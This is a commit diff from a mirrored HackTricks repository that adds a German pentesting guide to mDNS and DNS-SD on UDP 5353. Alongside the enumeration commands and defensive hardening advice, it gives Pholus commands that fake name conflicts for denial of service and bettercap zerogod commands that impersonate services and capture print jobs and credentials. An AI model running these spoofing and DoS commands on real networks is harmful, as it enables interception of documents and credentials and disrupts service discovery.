mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/5353-udp-multicast-dns-mdns
This commit is contained in:
parent
2787b74508
commit
b3c0605180
@ -65,7 +65,7 @@ def ref(matchobj):
|
||||
dir = path.dirname(current_chapter['source_path'])
|
||||
rel_path = path.normpath(path.join(dir,href))
|
||||
try:
|
||||
logger.debug(f'Error getting chapter title: {href} trying with relative path {rel_path}')
|
||||
logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}')
|
||||
if "#" in href:
|
||||
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||
title = " ".join(href.split("#")[1].split("-")).title()
|
||||
|
@ -2,52 +2,142 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **Grundinformationen**
|
||||
## Grundlegende Informationen
|
||||
|
||||
**Multicast DNS (mDNS)** ermöglicht **DNS-ähnliche Operationen** innerhalb lokaler Netzwerke, ohne einen traditionellen DNS-Server zu benötigen. Es arbeitet auf **UDP-Port 5353** und ermöglicht es Geräten, sich gegenseitig und ihre Dienste zu entdecken, was häufig bei verschiedenen IoT-Geräten zu sehen ist. **DNS Service Discovery (DNS-SD)**, das oft zusammen mit mDNS verwendet wird, hilft dabei, Dienste zu identifizieren, die im Netzwerk über standardmäßige DNS-Abfragen verfügbar sind.
|
||||
Multicast DNS (mDNS) ermöglicht die DNS-ähnliche Namensauflösung und Dienstentdeckung innerhalb eines lokalen Links ohne einen Unicast-DNS-Server. Es verwendet UDP/5353 und die Multicast-Adressen 224.0.0.251 (IPv4) und FF02::FB (IPv6). DNS Service Discovery (DNS-SD, typischerweise mit mDNS verwendet) bietet eine standardisierte Möglichkeit, Dienste über PTR-, SRV- und TXT-Einträge aufzulisten und zu beschreiben.
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
5353/udp open zeroconf
|
||||
```
|
||||
### **Betrieb von mDNS**
|
||||
Wichtige Protokolldetails, die Sie häufig während Angriffe nutzen werden:
|
||||
- Namen in der .local-Zone werden über mDNS aufgelöst.
|
||||
- Das QU (Query Unicast) Bit kann unicast Antworten auch für multicast Fragen anfordern.
|
||||
- Implementierungen sollten Pakete ignorieren, die nicht von der lokalen Verbindung stammen; einige Stacks akzeptieren sie dennoch.
|
||||
- Probing/Ankündigung erzwingt eindeutige Host-/Servicenamen; hier einzugreifen schafft DoS/„Name Squatting“-Bedingungen.
|
||||
|
||||
In Umgebungen ohne einen standardmäßigen DNS-Server ermöglicht mDNS Geräten, Domainnamen, die auf **.local** enden, aufzulösen, indem die Multicast-Adresse **224.0.0.251** (IPv4) oder **FF02::FB** (IPv6) abgefragt wird. Wichtige Aspekte von mDNS umfassen einen **Time-to-Live (TTL)**-Wert, der die Gültigkeit des Eintrags angibt, und ein **QU-Bit**, das zwischen Unicast- und Multicast-Abfragen unterscheidet. Sicherheitsmäßig ist es entscheidend, dass mDNS-Implementierungen überprüfen, ob die Quelladresse des Pakets mit dem lokalen Subnetz übereinstimmt.
|
||||
## DNS-SD-Dienstmodell
|
||||
|
||||
### **Funktionsweise von DNS-SD**
|
||||
Dienste werden als _<service>._tcp oder _<service>._udp unter .local identifiziert, z.B. _ipp._tcp.local (Drucker), _airplay._tcp.local (AirPlay), _adb._tcp.local (Android Debug Bridge) usw. Entdecken Sie Typen mit _services._dns-sd._udp.local und lösen Sie entdeckte Instanzen in SRV/TXT/A/AAAA auf.
|
||||
|
||||
DNS-SD erleichtert die Entdeckung von Netzwerkdiensten, indem nach Zeigeraufzeichnungen (PTR) gefragt wird, die Diensttypen ihren Instanzen zuordnen. Dienste werden mithilfe eines **\_\<Service>.\_tcp oder \_\<Service>.\_udp**-Musters innerhalb der **.local**-Domain identifiziert, was zur Entdeckung entsprechender **SRV**- und **TXT-Aufzeichnungen** führt, die detaillierte Dienstinformationen bereitstellen.
|
||||
## Netzwerkexploration und -enumeration
|
||||
|
||||
### **Netzwerkanalyse**
|
||||
|
||||
#### **nmap-Nutzung**
|
||||
|
||||
Ein nützlicher Befehl zum Scannen des lokalen Netzwerks nach mDNS-Diensten ist:
|
||||
- nmap Zielscan (direktes mDNS auf einem Host):
|
||||
```bash
|
||||
nmap -Pn -sUC -p5353 [target IP address]
|
||||
nmap -sU -p 5353 --script=dns-service-discovery <target>
|
||||
```
|
||||
Dieser Befehl hilft, offene mDNS-Ports und die über sie beworbenen Dienste zu identifizieren.
|
||||
|
||||
#### **Netzwerkenumeration mit Pholus**
|
||||
|
||||
Um aktiv mDNS-Anfragen zu senden und den Datenverkehr zu erfassen, kann das **Pholus**-Tool wie folgt verwendet werden:
|
||||
- nmap Broadcast-Discovery (hören Sie auf das Segment und enumerieren Sie alle DNS-SD-Typen/Instanzen):
|
||||
```bash
|
||||
sudo python3 pholus3.py [network interface] -rq -stimeout 10
|
||||
sudo nmap --script=broadcast-dns-service-discovery
|
||||
```
|
||||
- avahi-browse (Linux):
|
||||
```bash
|
||||
# Listet Diensttypen auf
|
||||
avahi-browse -bt _services._dns-sd._udp
|
||||
# Durchsucht alle Dienste und löst sie in Host/Port auf
|
||||
avahi-browse -art
|
||||
```
|
||||
- Apple dns-sd (macOS):
|
||||
```bash
|
||||
# Durchsucht alle HTTP-Dienste
|
||||
dns-sd -B _http._tcp
|
||||
# Enumeriert Diensttypen
|
||||
dns-sd -B _services._dns-sd._udp
|
||||
# Löst eine spezifische Instanz in SRV/TXT auf
|
||||
dns-sd -L "My Printer" _ipp._tcp local
|
||||
```
|
||||
- Paketaufzeichnung mit tshark:
|
||||
```bash
|
||||
# Live-Aufzeichnung
|
||||
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
|
||||
# Nur DNS-SD-Dienstlistenabfragen
|
||||
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""
|
||||
```
|
||||
|
||||
Tipp: Einige Browser/WebRTC verwenden ephemere mDNS-Hostnamen, um lokale IPs zu maskieren. Wenn Sie zufällige UUID.local-Kandidaten im Netzwerk sehen, lösen Sie sie mit mDNS auf, um zu lokalen IPs zu pivotieren.
|
||||
|
||||
## Angriffe
|
||||
|
||||
### **Ausnutzen von mDNS-Probing**
|
||||
### mDNS-Namen-Probing-Interferenz (DoS / Name Squatting)
|
||||
|
||||
Ein Angriffsvektor besteht darin, gefälschte Antworten auf mDNS-Proben zu senden, die vorschlagen, dass alle potenziellen Namen bereits in Verwendung sind, wodurch neue Geräte daran gehindert werden, einen eindeutigen Namen auszuwählen. Dies kann durchgeführt werden mit:
|
||||
Während der Probing-Phase überprüft ein Host die Eindeutigkeit des Namens. Das Antworten mit gefälschten Konflikten zwingt ihn, neue Namen auszuwählen oder zu scheitern. Dies kann die Registrierung und Entdeckung von Diensten verzögern oder verhindern.
|
||||
|
||||
Beispiel mit Pholus:
|
||||
```bash
|
||||
sudo python pholus.py [network interface] -afre -stimeout 1000
|
||||
# Block new devices from taking names by auto-faking responses
|
||||
sudo python3 pholus3.py <iface> -afre -stimeout 1000
|
||||
```
|
||||
Diese Technik blockiert effektiv neue Geräte daran, ihre Dienste im Netzwerk zu registrieren.
|
||||
### Service-Spoofing und Identitätsdiebstahl (MitM)
|
||||
|
||||
**Zusammenfassend** ist das Verständnis der Funktionsweise von mDNS und DNS-SD entscheidend für das Netzwerkmanagement und die Sicherheit. Tools wie **nmap** und **Pholus** bieten wertvolle Einblicke in lokale Netzwerkdienste, während das Bewusstsein für potenzielle Schwachstellen hilft, sich gegen Angriffe abzusichern.
|
||||
Geben Sie beworbene DNS-SD-Dienste (Drucker, AirPlay, HTTP, Dateifreigaben) vor, um Clients dazu zu bringen, sich mit Ihnen zu verbinden. Dies ist besonders nützlich, um:
|
||||
- Dokumente zu erfassen, indem _ipp._tcp oder _printer._tcp gefälscht werden.
|
||||
- Clients zu HTTP/HTTPS-Diensten zu locken, um Tokens/Cookies zu sammeln oder Payloads zu liefern.
|
||||
- Mit NTLM-Relay-Techniken zu kombinieren, wenn Windows-Clients Authentifizierung zu gefälschten Diensten aushandeln.
|
||||
|
||||
### Spoofing/MitM
|
||||
Mit dem zerogod-Modul von bettercap (mDNS/DNS-SD-Spoofer/Imitator):
|
||||
```bash
|
||||
# Start mDNS/DNS-SD discovery
|
||||
sudo bettercap -iface <iface> -eval "zerogod.discovery on"
|
||||
|
||||
Der interessanteste Angriff, den Sie über diesen Dienst durchführen können, ist ein **MitM** in der **Kommunikation zwischen dem Client und dem echten Server**. Sie könnten in der Lage sein, sensible Dateien (MitM der Kommunikation mit dem Drucker) oder sogar Anmeldeinformationen (Windows-Authentifizierung) zu erhalten.\
|
||||
# Show all services seen from a host
|
||||
> zerogod.show 192.168.1.42
|
||||
|
||||
# Impersonate all services of a target host automatically
|
||||
> zerogod.impersonate 192.168.1.42
|
||||
|
||||
# Save IPP print jobs to disk while impersonating a printer
|
||||
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
|
||||
> zerogod.impersonate 192.168.1.42
|
||||
|
||||
# Replay previously captured services
|
||||
> zerogod.save 192.168.1.42 target.yml
|
||||
> zerogod.advertise target.yml
|
||||
```
|
||||
Auch sehen Sie generische LLMNR/NBNS/mDNS/WPAD Spoofing- und Anmeldeinformationen-Erfassungs-/Relay-Workflows:
|
||||
|
||||
{{#ref}}
|
||||
../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
### Hinweise zu aktuellen Implementierungsproblemen (nützlich für DoS/Persistenz während Engagements)
|
||||
|
||||
- Avahi reachable-assertion und D-Bus Absturzfehler (2023) können den avahi-daemon auf Linux-Distributionen beenden (z.B. CVE-2023-38469..38473, CVE-2023-1981), was die Dienstentdeckung auf Zielhosts bis zum Neustart stört.
|
||||
- Cisco IOS XE Wireless LAN Controller mDNS Gateway DoS (2024, CVE-2024-20303) ermöglicht es angrenzenden Angreifern, die CPU stark zu belasten und APs zu trennen. Wenn Sie auf ein mDNS-Gateway zwischen VLANs stoßen, seien Sie sich seiner Stabilität bei fehlerhaften oder hochfrequenten mDNS-Anfragen bewusst.
|
||||
|
||||
## Defensive Überlegungen und OPSEC
|
||||
|
||||
- Segmentgrenzen: Routen Sie 224.0.0.251/FF02::FB nicht zwischen Sicherheitszonen, es sei denn, ein mDNS-Gateway ist ausdrücklich erforderlich. Wenn Sie die Entdeckung überbrücken müssen, ziehen Sie Whitelists und Ratenlimits vor.
|
||||
- Windows-Endpunkte/Server:
|
||||
- Um die Namensauflösung über mDNS vollständig zu deaktivieren, setzen Sie den Registrierungswert und starten Sie neu:
|
||||
```
|
||||
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
|
||||
```
|
||||
- In verwalteten Umgebungen deaktivieren Sie die integrierte Regel „mDNS (UDP-In)“ der Windows Defender Firewall (mindestens im Domänenprofil), um die eingehende mDNS-Verarbeitung zu verhindern und gleichzeitig die Home-/Roaming-Funktionalität zu erhalten.
|
||||
- Bei neueren Windows 11-Versionen/GPO-Vorlagen verwenden Sie die Richtlinie „Computer Configuration > Administrative Templates > Network > DNS Client > Configure multicast DNS (mDNS) protocol“ und setzen Sie sie auf Deaktiviert.
|
||||
- Linux (Avahi):
|
||||
- Schränken Sie das Veröffentlichen ein, wenn es nicht benötigt wird: setzen Sie `disable-publishing=yes` und beschränken Sie Schnittstellen mit `allow-interfaces=` / `deny-interfaces=` in `/etc/avahi/avahi-daemon.conf`.
|
||||
- Erwägen Sie `check-response-ttl=yes` und vermeiden Sie `enable-reflector=yes`, es sei denn, es ist unbedingt erforderlich; ziehen Sie `reflect-filters=` Whitelists beim Reflektieren vor.
|
||||
- macOS: Beschränken Sie eingehendes mDNS an Host-/Netzwerkfirewalls, wenn die Bonjour-Entdeckung für bestimmte Subnetze nicht benötigt wird.
|
||||
- Überwachung: Alarmieren Sie bei ungewöhnlichen Anstiegen in `_services._dns-sd._udp.local`-Anfragen oder plötzlichen Änderungen in SRV/TXT kritischer Dienste; dies sind Indikatoren für Spoofing oder Dienstimitation.
|
||||
|
||||
## Werkzeugübersicht
|
||||
|
||||
- nmap NSE: `dns-service-discovery` und `broadcast-dns-service-discovery`.
|
||||
- Pholus: aktives Scannen, umgekehrte mDNS-Scans, DoS- und Spoofing-Helfer.
|
||||
```bash
|
||||
# Passive sniff (timeout seconds)
|
||||
sudo python3 pholus3.py <iface> -stimeout 60
|
||||
# Enumerate service types
|
||||
sudo python3 pholus3.py <iface> -sscan
|
||||
# Send generic mDNS requests
|
||||
sudo python3 pholus3.py <iface> --request
|
||||
# Reverse mDNS sweep of a subnet
|
||||
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
|
||||
```
|
||||
- bettercap zerogod: entdecken, speichern, bewerben und imitieren von mDNS/DNS-SD-Diensten (siehe Beispiele oben).
|
||||
|
||||
## Spoofing/MitM
|
||||
|
||||
Der interessanteste Angriff, den Sie über diesen Dienst durchführen können, besteht darin, ein MitM in der Kommunikation zwischen dem Client und dem echten Server durchzuführen. Sie könnten in der Lage sein, sensible Dateien (MitM der Kommunikation mit dem Drucker) oder sogar Anmeldeinformationen (Windows-Authentifizierung) zu erhalten.\
|
||||
Für weitere Informationen siehe:
|
||||
|
||||
{{#ref}}
|
||||
@ -57,5 +147,7 @@ Für weitere Informationen siehe:
|
||||
## Referenzen
|
||||
|
||||
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://books.google.co.uk/books/about/Practical_IoT_Hacking.html?id=GbYEEAAAQBAJ&redir_esc=y)
|
||||
- [Nmap NSE: broadcast-dns-service-discovery](https://nmap.org/nsedoc/scripts/broadcast-dns-service-discovery.html)
|
||||
- [bettercap zerogod (mDNS/DNS-SD discovery, spoofing, impersonation)](https://www.bettercap.org/modules/ethernet/zerogod/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user